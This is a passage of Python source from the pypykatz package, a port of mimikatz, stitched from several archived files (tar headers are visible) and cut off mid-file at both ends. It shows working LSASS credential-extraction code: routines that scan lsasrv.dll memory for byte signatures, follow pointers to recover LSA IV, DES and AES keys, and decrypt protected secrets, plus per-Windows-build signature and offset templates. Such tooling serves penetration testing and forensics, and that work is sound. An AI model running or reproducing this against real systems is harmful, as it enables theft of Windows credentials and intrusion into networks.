decrypt(self, encrypted, segment_size=128): # TODO: NT version specific, move from here in subclasses. cleartext = b'' size = len(encrypted) if size: if (size % 8) != 0: ctx = RC4(self.random_key) cleartext = ctx.decrypt(encrypted) else: #print('Decryption not implemented!') cleartext = self.__desx_decrypt(encrypted) #raise Exception('Not implemented!') return cleartext def dump(self): self.log('Recovered LSA encryption keys\n') self.log('Feedback ({}): {}'.format(len(self.feedback), self.feedback.hex())) self.log('Random Key ({}): {}'.format(len(self.random_key), self.random_key.hex())) self.log('DESX inputwhitening Key ({}): {}'.format(len(self.des_key.inputWhitening), self.des_key.inputWhitening.hex())) self.log('DESX outputwhitening Key ({}): {}'.format(len(self.des_key.outputWhitening), self.des_key.outputWhitening.hex())) #self.log('DESX DES Expanded Key ({}): {}' % (self.des_key.desKey.roundKey)) def __desx_decrypt_internal_block(self, chunk): chunk = xor(chunk, self.des_key.outputWhitening) chunk = self.__desx_internal_block(chunk, encrypt = False) chunk = xor(chunk, self.des_key.inputWhitening) return chunk def __desx_decrypt(self, data): res = b'' i = 0 IV = self.feedback while i != len(data): chunk = self.__desx_decrypt_internal_block(data[i:i+8]) res += xor(chunk, IV) IV = data[i:i+8] i += 8 return res def __desx_internal_block(self, data, encrypt = False): L = int.from_bytes(data[4:], 'little', signed = False) R = int.from_bytes(data[:4], 'little', signed = False) #t = 'ORIGINAL L: %s R: %s' % (L,R) #input(t) #print(hex(R)) R = rol32(R, 4) #input(hex(R)) Ta = (L ^ R) & 0xf0f0f0f0 #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta L = rol32(L, 20) Ta = (L ^ R) & 0xfff0000f #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta L = rol32(L, 14) Ta = (L ^ R) & 0x33333333 #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta R = rol32(R, 22) Ta = (L ^ R) & 0x03fc03fc #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta R = rol32(R, 9) Ta = (L ^ R) & 0xaaaaaaaa #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta L = rol32(L, 1) #t = 'BEFORE F! L: %s R: %s' % (L,R) #input(t) if encrypt: for i in range(0,14, 2): L, R = F(L, R, self.des_key.desKey.roundKey[i]) R, L = F(R, L, self.des_key.desKey.roundKey[i +1]) else: for i in range(14, -2, -2): #print(i) L, R = F(L, R, self.des_key.desKey.roundKey[i + 1]) #t = 'F(%s) L: %s R: %s' % (i, L,R) #input(t) R, L = F(R, L, self.des_key.desKey.roundKey[i]) #t = 'F(%s) L: %s R: %s' % (i, L,R) #input(t) #t = 'AFTER F! L: %s R: %s' % (L,R) #input(t) R = ror32(R, 1) Ta = (L ^ R) & 0xaaaaaaaa L = L ^ Ta R = R ^ Ta L = ror32(L, 9) Ta = (L ^ R) & 0x03fc03fc L ^= Ta R ^= Ta L = ror32(L, 22) Ta = (L ^ R) & 0x33333333 L ^= Ta R ^= Ta R = ror32(R, 14) Ta = (L ^ R) & 0xfff0000f L ^= Ta R ^= Ta R = ror32(R, 20) Ta = (L ^ R) & 0xf0f0f0f0 L ^= Ta R ^= Ta L = ror32(L, 4) return L.to_bytes(4, 'little', signed = False) + R.to_bytes(4, 'little', signed = False) SymCryptDesSpbox = [ [ 0x02080800, 0x00080000, 0x02000002, 0x02080802, 0x02000000, 0x00080802, 0x00080002, 0x02000002, 0x00080802, 0x02080800, 0x02080000, 0x00000802, 0x02000802, 0x02000000, 0x00000000, 0x00080002, 0x00080000, 0x00000002, 0x02000800, 0x00080800, 0x02080802, 0x02080000, 0x00000802, 0x02000800, 0x00000002, 0x00000800, 0x00080800, 0x02080002, 0x00000800, 0x02000802, 0x02080002, 0x00000000, 0x00000000, 0x02080802, 0x02000800, 0x00080002, 0x02080800, 0x00080000, 0x00000802, 0x02000800, 0x02080002, 0x00000800, 0x00080800, 0x02000002, 0x00080802, 0x00000002, 0x02000002, 0x02080000, 0x02080802, 0x00080800, 0x02080000, 0x02000802, 0x02000000, 0x00000802, 0x00080002, 0x00000000, 0x00080000, 0x02000000, 0x02000802, 0x02080800, 0x00000002, 0x02080002, 0x00000800, 0x00080802, ], [ 0x40108010, 0x00000000, 0x00108000, 0x40100000, 0x40000010, 0x00008010, 0x40008000, 0x00108000, 0x00008000, 0x40100010, 0x00000010, 0x40008000, 0x00100010, 0x40108000, 0x40100000, 0x00000010, 0x00100000, 0x40008010, 0x40100010, 0x00008000, 0x00108010, 0x40000000, 0x00000000, 0x00100010, 0x40008010, 0x00108010, 0x40108000, 0x40000010, 0x40000000, 0x00100000, 0x00008010, 0x40108010, 0x00100010, 0x40108000, 0x40008000, 0x00108010, 0x40108010, 0x00100010, 0x40000010, 0x00000000, 0x40000000, 0x00008010, 0x00100000, 0x40100010, 0x00008000, 0x40000000, 0x00108010, 0x40008010, 0x40108000, 0x00008000, 0x00000000, 0x40000010, 0x00000010, 0x40108010, 0x00108000, 0x40100000, 0x40100010, 0x00100000, 0x00008010, 0x40008000, 0x40008010, 0x00000010, 0x40100000, 0x00108000, ], [ 0x04000001, 0x04040100, 0x00000100, 0x04000101, 0x00040001, 0x04000000, 0x04000101, 0x00040100, 0x04000100, 0x00040000, 0x04040000, 0x00000001, 0x04040101, 0x00000101, 0x00000001, 0x04040001, 0x00000000, 0x00040001, 0x04040100, 0x00000100, 0x00000101, 0x04040101, 0x00040000, 0x04000001, 0x04040001, 0x04000100, 0x00040101, 0x04040000, 0x00040100, 0x00000000, 0x04000000, 0x00040101, 0x04040100, 0x00000100, 0x00000001, 0x00040000, 0x00000101, 0x00040001, 0x04040000, 0x04000101, 0x00000000, 0x04040100, 0x00040100, 0x04040001, 0x00040001, 0x04000000, 0x04040101, 0x00000001, 0x00040101, 0x04000001, 0x04000000, 0x04040101, 0x00040000, 0x04000100, 0x04000101, 0x00040100, 0x04000100, 0x00000000, 0x04040001, 0x00000101, 0x04000001, 0x00040101, 0x00000100, 0x04040000, ], [ 0x00401008, 0x10001000, 0x00000008, 0x10401008, 0x00000000, 0x10400000, 0x10001008, 0x00400008, 0x10401000, 0x10000008, 0x10000000, 0x00001008, 0x10000008, 0x00401008, 0x00400000, 0x10000000, 0x10400008, 0x00401000, 0x00001000, 0x00000008, 0x00401000, 0x10001008, 0x10400000, 0x00001000, 0x00001008, 0x00000000, 0x00400008, 0x10401000, 0x10001000, 0x10400008, 0x10401008, 0x00400000, 0x10400008, 0x00001008, 0x00400000, 0x10000008, 0x00401000, 0x10001000, 0x00000008, 0x10400000, 0x10001008, 0x00000000, 0x00001000, 0x00400008, 0x00000000, 0x10400008, 0x10401000, 0x00001000, 0x10000000, 0x10401008, 0x00401008, 0x00400000, 0x10401008, 0x00000008, 0x10001000, 0x00401008, 0x00400008, 0x00401000, 0x10400000, 0x10001008, 0x00001008, 0x10000000, 0x10000008, 0x10401000, ], [ 0x08000000, 0x00010000, 0x00000400, 0x08010420, 0x08010020, 0x08000400, 0x00010420, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x00010400, 0x08000420, 0x08010020, 0x08010400, 0x00000000, 0x00010400, 0x08000000, 0x00010020, 0x00000420, 0x08000400, 0x00010420, 0x00000000, 0x08000020, 0x00000020, 0x08000420, 0x08010420, 0x00010020, 0x08010000, 0x00000400, 0x00000420, 0x08010400, 0x08010400, 0x08000420, 0x00010020, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x08000400, 0x08000000, 0x00010400, 0x08010420, 0x00000000, 0x00010420, 0x08000000, 0x00000400, 0x00010020, 0x08000420, 0x00000400, 0x00000000, 0x08010420, 0x08010020, 0x08010400, 0x00000420, 0x00010000, 0x00010400, 0x08010020, 0x08000400, 0x00000420, 0x00000020, 0x00010420, 0x08010000, 0x08000020, ], [ 0x80000040, 0x00200040, 0x00000000, 0x80202000, 0x00200040, 0x00002000, 0x80002040, 0x00200000, 0x00002040, 0x80202040, 0x00202000, 0x80000000, 0x80002000, 0x80000040, 0x80200000, 0x00202040, 0x00200000, 0x80002040, 0x80200040, 0x00000000, 0x00002000, 0x00000040, 0x80202000, 0x80200040, 0x80202040, 0x80200000, 0x80000000, 0x00002040, 0x00000040, 0x00202000, 0x00202040, 0x80002000, 0x00002040, 0x80000000, 0x80002000, 0x00202040, 0x80202000, 0x00200040, 0x00000000, 0x80002000, 0x80000000, 0x00002000, 0x80200040, 0x00200000, 0x00200040, 0x80202040, 0x00202000, 0x00000040, 0x80202040, 0x00202000, 0x00200000, 0x80002040, 0x80000040, 0x80200000, 0x00202040, 0x00000000, 0x00002000, 0x80000040, 0x80002040, 0x80202000, 0x80200000, 0x00002040, 0x00000040, 0x80200040, ], [ 0x00004000, 0x00000200, 0x01000200, 0x01000004, 0x01004204, 0x00004004, 0x00004200, 0x00000000, 0x01000000, 0x01000204, 0x00000204, 0x01004000, 0x00000004, 0x01004200, 0x01004000, 0x00000204, 0x01000204, 0x00004000, 0x00004004, 0x01004204, 0x00000000, 0x01000200, 0x01000004, 0x00004200, 0x01004004, 0x00004204, 0x01004200, 0x00000004, 0x00004204, 0x01004004, 0x00000200, 0x01000000, 0x00004204, 0x01004000, 0x01004004, 0x00000204, 0x00004000, 0x00000200, 0x01000000, 0x01004004, 0x01000204, 0x00004204, 0x00004200, 0x00000000, 0x00000200, 0x01000004, 0x00000004, 0x01000200, 0x00000000, 0x01000204, 0x01000200, 0x00004200, 0x00000204, 0x00004000, 0x01004204, 0x01000000, 0x01004200, 0x00000004, 0x00004004, 0x01004204, 0x01000004, 0x01004200, 0x01004000, 0x00004004, ], [ 0x20800080, 0x20820000, 0x00020080, 0x00000000, 0x20020000, 0x00800080, 0x20800000, 0x20820080, 0x00000080, 0x20000000, 0x00820000, 0x00020080, 0x00820080, 0x20020080, 0x20000080, 0x20800000, 0x00020000, 0x00820080, 0x00800080, 0x20020000, 0x20820080, 0x20000080, 0x00000000, 0x00820000, 0x20000000, 0x00800000, 0x20020080, 0x20800080, 0x00800000, 0x00020000, 0x20820000, 0x00000080, 0x00800000, 0x00020000, 0x20000080, 0x20820080, 0x00020080, 0x20000000, 0x00000000, 0x00820000, 0x20800080, 0x20020080, 0x20020000, 0x00800080, 0x20820000, 0x00000080, 0x00800080, 0x20020000, 0x20820080, 0x00800000, 0x20800000, 0x20000080, 0x00820000, 0x00020080, 0x20020080, 0x20800000, 0x00000080, 0x20820000, 0x00820080, 0x00000000, 0x20000000, 0x20800080, 0x00020000, 0x00820080, ], ] def F(L, R, keya): Ta = keya[0] ^ R Tb = keya[1] ^ R Tb = ror32(Tb, 4) L ^= SymCryptDesSpbox[0][ (Ta & 0xfc) // 4] L ^= SymCryptDesSpbox[1][ (Tb & 0xfc) // 4] L ^= SymCryptDesSpbox[2][((Ta>> 8)& 0xfc)//4] L ^= SymCryptDesSpbox[3][((Tb>> 8)& 0xfc)//4] L ^= SymCryptDesSpbox[4][((Ta>>16)& 0xfc)//4] L ^= SymCryptDesSpbox[5][((Tb>>16)& 0xfc)//4] L ^= SymCryptDesSpbox[6][((Ta>>24)& 0xfc)//4] L ^= SymCryptDesSpbox[7][((Tb>>24)& 0xfc)//4] return L, R def rol32(n, d): return ((n << d)|(n >> (32 - d))) & 0xFFFFFFFF def ror32(n, d): return ((n >> d)|(n << (32 - d))) & 0xFFFFFFFF def xor(d1, d2): return bytes(a ^ b for (a, b) in zip(d1, d2)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/lsa_decryptor_nt6.py0000664000175000017500000000771714543266630023654 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz import logger from pypykatz.commons.common import hexdump from unicrypto.symmetric import MODE_CBC, MODE_CFB, AES, TDES from pypykatz.alsadecryptor.package_commons import PackageDecryptor class LsaDecryptor_NT6(PackageDecryptor): def __init__(self, reader, decryptor_template, sysinfo): super().__init__('LsaDecryptor', None, sysinfo, reader) self.decryptor_template = decryptor_template self.iv = None self.aes_key = None self.des_key = None async def acquire_crypto_material(self): self.log('Acquireing crypto stuff...') sigpos = await self.find_signature() await self.reader.move(sigpos) data = await self.reader.peek(0x50) self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) self.iv = await self.get_IV(sigpos) self.des_key = await self.get_des_key(sigpos) self.aes_key = await self.get_aes_key(sigpos) async def get_des_key(self, pos): self.log('Acquireing DES key...') return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_DES_key_ptr) async def get_aes_key(self, pos): self.log('Acquireing AES key...') return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_AES_key_ptr) async def find_signature(self): self.log('Looking for main struct signature in memory...') fl = await self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True) if len(fl) == 0: logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) raise Exception('LSA signature not found!') self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) self.log('Selecting first one @ 0x%08x' % fl[0]) return fl[0] async def get_IV(self, pos): self.log('Reading IV') #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr)) ptr_iv = await self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) self.log('IV pointer takes us to 0x%08x' % ptr_iv) await self.reader.move(ptr_iv) data = await self.reader.read(self.decryptor_template.key_pattern.IV_length) self.log('IV data: %s' % hexdump(data)) return data async def get_key(self, pos, key_offset): ptr_key = await self.reader.get_ptr_with_offset(pos + key_offset) self.log('key handle pointer is @ 0x%08x' % ptr_key) ptr_key = await self.reader.get_ptr(ptr_key) self.log('key handle is @ 0x%08x' % ptr_key) await self.reader.move(ptr_key) data = await self.reader.peek(0x50) self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) kbhk = await self.decryptor_template.key_handle_struct.load(self.reader) if kbhk.verify(): ptr_key = kbhk.ptr_key.value await self.reader.move(ptr_key) data = await self.reader.peek(0x50) self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) kbk = await kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct) self.log('HARD_KEY SIZE: 0x%x' % kbk.size) if kbk.verify(): self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data)) return kbk.hardkey.data def decrypt(self, encrypted, segment_size=128): # TODO: NT version specific, move from here in subclasses. cleartext = b'' size = len(encrypted) if size: if size % 8: if not self.aes_key or not self.iv: return cleartext cipher = AES(self.aes_key, MODE_CFB, self.iv, segment_size=segment_size) cleartext = cipher.decrypt(encrypted) else: if not self.des_key or not self.iv: return cleartext cipher = TDES(self.des_key, MODE_CBC, self.iv[:8]) cleartext = cipher.decrypt(encrypted) return cleartext def dump(self): self.log('Recovered LSA encryption keys\n') self.log('IV ({}): {}'.format(len(self.iv), self.iv.hex())) self.log('DES_KEY ({}): {}'.format(len(self.des_key), self.des_key.hex())) self.log('AES_KEY ({}): {}'.format(len(self.aes_key), self.aes_key.hex()))././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/lsa_template_nt5.py0000664000175000017500000000651014543266630023441 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.alsadecryptor.win_datatypes import ULONG, PVOID, POINTER from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild from pypykatz.alsadecryptor.package_commons import PackageTemplate class LsaTemplate_NT5(PackageTemplate): def __init__(self): self.signature = None self.feedback = None self.randomkey_ptr = None self.DESXKey_ptr = None self.key_struct = None @staticmethod def get_template_brute(sysinfo): raise Exception('Template guessing is not applicable for NT5') @staticmethod def get_template(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: return templates['nt5']['x86']['1'] else: raise Exception('NT 6 is in another castle!') elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: return templates['nt5']['x64']['1'] else: raise Exception('NT 6 is in another castle!') class SYMCRYPT_NT5_DES_EXPANDED_KEY: def __init__(self): self.roundKey = [] @staticmethod async def load(reader): s = SYMCRYPT_NT5_DES_EXPANDED_KEY() for _ in range(16): x = await reader.read(4) r = int.from_bytes(x, 'little', signed = False) x = await reader.read(4) l = int.from_bytes(x, 'little', signed = False) s.roundKey.append([r, l]) return s def __str__(self): t = 'SYMCRYPT_NT5_DES_EXPANDED_KEY\r\n' for i, x in enumerate(self.roundKey): t += '%s L: %s R: %s\r\n' % (i, hex(x[0]), hex(x[1])) return t class SYMCRYPT_NT5_DESX_EXPANDED_KEY: def __init__(self): self.inputWhitening = None self.outputWhitening = None self.desKey = None @staticmethod async def load(reader): s = SYMCRYPT_NT5_DESX_EXPANDED_KEY() s.inputWhitening = await reader.read(8) s.outputWhitening = await reader.read(8) s.desKey = await SYMCRYPT_NT5_DES_EXPANDED_KEY.load(reader) return s def __str__(self): t = 'SYMCRYPT_NT5_DESX_EXPANDED_KEY\r\n' t += 'inputWhitening : %s\r\n' % (self.inputWhitening.hex()) t += 'outputWhitening : %s\r\n' % (self.outputWhitening.hex()) t += 'desKey : %s\r\n' % (str(self.desKey)) return t class PSYMCRYPT_NT5_DESX_EXPANDED_KEY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PVOID() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = SYMCRYPT_NT5_DESX_EXPANDED_KEY return p class LSA_x64_nt5_1(LsaTemplate_NT5): def __init__(self): LsaTemplate_NT5.__init__(self) self.arch = 'x64' self.signature = b'\x33\xdb\x8b\xc3\x48\x83\xc4\x20\x5b\xc3' self.nt_major = '5' self.feedback_ptr_offset = -67 self.randomkey_ptr_offset = -17 self.desx_key_ptr_offset = -35 self.old_feedback_offset = 29 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY class LSA_x86_nt5_1(LsaTemplate_NT5): def __init__(self): LsaTemplate_NT5.__init__(self) self.arch = 'x86' self.nt_major = '5' self.signature = b'\x05\x90\x00\x00\x00\x6a\x18\x50\xa3' self.feedback_ptr_offset = 25 self.randomkey_ptr_offset = 9 self.desx_key_ptr_offset = -4 self.old_feedback_offset = 29 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY templates = { 'nt5' : { 'x86': { '1' : LSA_x86_nt5_1(), }, 'x64': { '1' : LSA_x64_nt5_1(), } } }././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1705945213.0 pypykatz-0.6.10/pypykatz/alsadecryptor/lsa_template_nt6.py0000664000175000017500000004202514553524175023445 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.alsadecryptor.win_datatypes import ULONG, PVOID, POINTER from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.alsadecryptor.package_commons import PackageTemplate class LsaTemplate_NT6(PackageTemplate): def __init__(self): super().__init__('LSA Decryptor') self.key_pattern = None self.key_handle_struct = None self.key_struct = None self.hard_key_struct = KIWI_HARD_KEY self.nt_major = '6' @staticmethod def get_template_brute(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception('NT 5 is not yet supported!') elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: raise Exception('NT 5 is not yet supported!') else: for key in templates['nt6']['x86']: yield templates['nt6']['x86'][key] elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception('NT 5 is not yet supported!') elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: raise Exception('NT 5 is not yet supported!') else: for key in templates['nt6']['x64']: yield templates['nt6']['x64'][key] @staticmethod def get_template(sysinfo): template = LsaTemplate_NT6() if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception("Maybe implemented later") elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: template.nt_major = '5' template = templates['nt5']['x86']['1'] elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template = templates['nt6']['x86']['1'] elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template = templates['nt6']['x86']['2'] elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template = templates['nt6']['x86']['3'] elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: template = templates['nt6']['x86']['4'] elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value: template = templates['nt6']['x86']['5'] elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value: #6 template = templates['nt6']['x86']['6'] else: #7 template = templates['nt6']['x86']['7'] elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception("Maybe implemented later") elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: raise Exception("Maybe implemented later") elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template = templates['nt6']['x64']['1'] elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template = templates['nt6']['x64']['2'] elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: if sysinfo.msv_dll_timestamp < 0x60000000: template = templates['nt6']['x64']['3'] else: template = templates['nt6']['x64']['7'] else: template = templates['nt6']['x64']['4'] elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: template = templates['nt6']['x64']['5'] elif WindowsBuild.WIN_10_1809.value <= sysinfo.buildnumber <= WindowsMinBuild.WIN_11.value: template = templates['nt6']['x64']['6'] else: template = templates['nt6']['x64']['8'] else: raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber)) template.log_template('key_handle_struct', template.key_handle_struct) template.log_template('key_struct', template.key_struct) template.log_template('hard_key_struct', template.hard_key_struct) return template class LSADecyptorKeyPattern: def __init__(self): self.signature = None #byte pattern that identifies the location of the key structures (AES and DES) self.offset_to_IV_ptr = None #offset from pattern that gives the pointer to the IV (applicabe for both keys, kept sepparately from key structures) self.IV_length = None #length of the IV, always 16 from NT6 self.offset_to_AES_key_ptr = None #offset from signature that gives the pointer to the DES key structure self.offset_to_DES_key_ptr = None #offset from signature that gives the pointer to the AES key structure class KIWI_HARD_KEY: def __init__(self): self.cbSecret = None self.data = None @staticmethod async def load(reader): res = KIWI_BCRYPT_KEY() res.cbSecret = await ULONG.loadvalue(reader) res.data = await reader.read(res.cbSecret) return res class KIWI_BCRYPT_KEY: def __init__(self): self.size = None self.tag = None self.type = None self.unk0 = None self.unk1 = None self.unk2 = None self.hardkey = None @staticmethod async def load(reader): res = KIWI_BCRYPT_KEY() res.size = await ULONG.loadvalue(reader) res.tag = await reader.read(4) res.type = await ULONG.loadvalue(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await ULONG.loadvalue(reader) res.hardkey = await KIWI_HARD_KEY.load(reader) return res def verify(self): return self.tag == b'KSSM' class KIWI_BCRYPT_KEY8: def __init__(self): self.size = None self.tag = None self.type = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None #await reader.align() self.unk4 = None self.hardkey = None @staticmethod async def load(reader): res = KIWI_BCRYPT_KEY8() res.size = await ULONG.loadvalue(reader) res.tag = await reader.read(4) # 'MSSK' res.type = await ULONG.loadvalue(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await ULONG.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) await reader.align() res.unk4 = await PVOID.load(reader) # before, align in x64 res.hardkey = await KIWI_HARD_KEY.load(reader) return res def verify(self): return self.tag == b'KSSM' class KIWI_BCRYPT_KEY81: def __init__(self): self.size = None self.tag = None self.type = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None #await reader.align() self.unk5 = None #before, align in x64 self.unk6 = None self.unk7 = None self.unk8 = None self.unk9 = None self.hardkey = None @staticmethod async def load(reader): res = KIWI_BCRYPT_KEY81() res.size = await ULONG.loadvalue(reader) res.tag = await reader.read(4) # 'MSSK' res.type = await ULONG.loadvalue(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await ULONG.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) res.unk4 = await ULONG.loadvalue(reader) await reader.align() res.unk5 = await PVOID.load(reader) #before, align in x64 res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.hardkey = await KIWI_HARD_KEY.load(reader) return res def verify(self): return self.tag == b'KSSM' class KIWI_BCRYPT_KEY81_NEW: def __init__(self): self.size = None self.tag = None self.type = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None #before, align in x64 self.unk6 = None self.unk7 = None self.unk8 = None self.unk9 = None self.unk10 = None self.hardkey = None @staticmethod async def load(reader): res = KIWI_BCRYPT_KEY81_NEW() res.size = await ULONG.loadvalue(reader) res.tag = await reader.read(4) # 'MSSK' res.type = await ULONG.loadvalue(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await ULONG.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) res.unk4 = await ULONG.loadvalue(reader) await reader.align() res.unk5 = await PVOID.load(reader) #before, align in x64 res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.unk10 = await ULONG.loadvalue(reader) res.hardkey = await KIWI_HARD_KEY.load(reader) return res def verify(self): return self.tag == b'KSSM' class PKIWI_BCRYPT_KEY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PVOID() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_BCRYPT_KEY return p class KIWI_BCRYPT_HANDLE_KEY: def __init__(self): self.size = None self.tag = None self.hAlgorithm = None self.ptr_key = None self.unk0 = None @staticmethod async def load(reader): res = KIWI_BCRYPT_HANDLE_KEY() res.size = await ULONG.loadvalue(reader) res.tag = await reader.read(4) # 'UUUR' res.hAlgorithm = await PVOID.load(reader) res.ptr_key = await PKIWI_BCRYPT_KEY.load(reader) res.unk0 = await PVOID.load(reader) return res def verify(self): return self.tag == b'RUUU' class LSA_x64_1(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 63 self.key_pattern.offset_to_DES_key_ptr = -69 self.key_pattern.offset_to_AES_key_ptr = 25 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_2(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 59 self.key_pattern.offset_to_DES_key_ptr = -61 self.key_pattern.offset_to_AES_key_ptr = 25 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_3(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 62 self.key_pattern.offset_to_DES_key_ptr = -70 self.key_pattern.offset_to_AES_key_ptr = 23 self.key_struct = KIWI_BCRYPT_KEY8 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_4(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 62 self.key_pattern.offset_to_DES_key_ptr = -70 self.key_pattern.offset_to_AES_key_ptr = 23 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_5(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 61 self.key_pattern.offset_to_DES_key_ptr = -73 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = 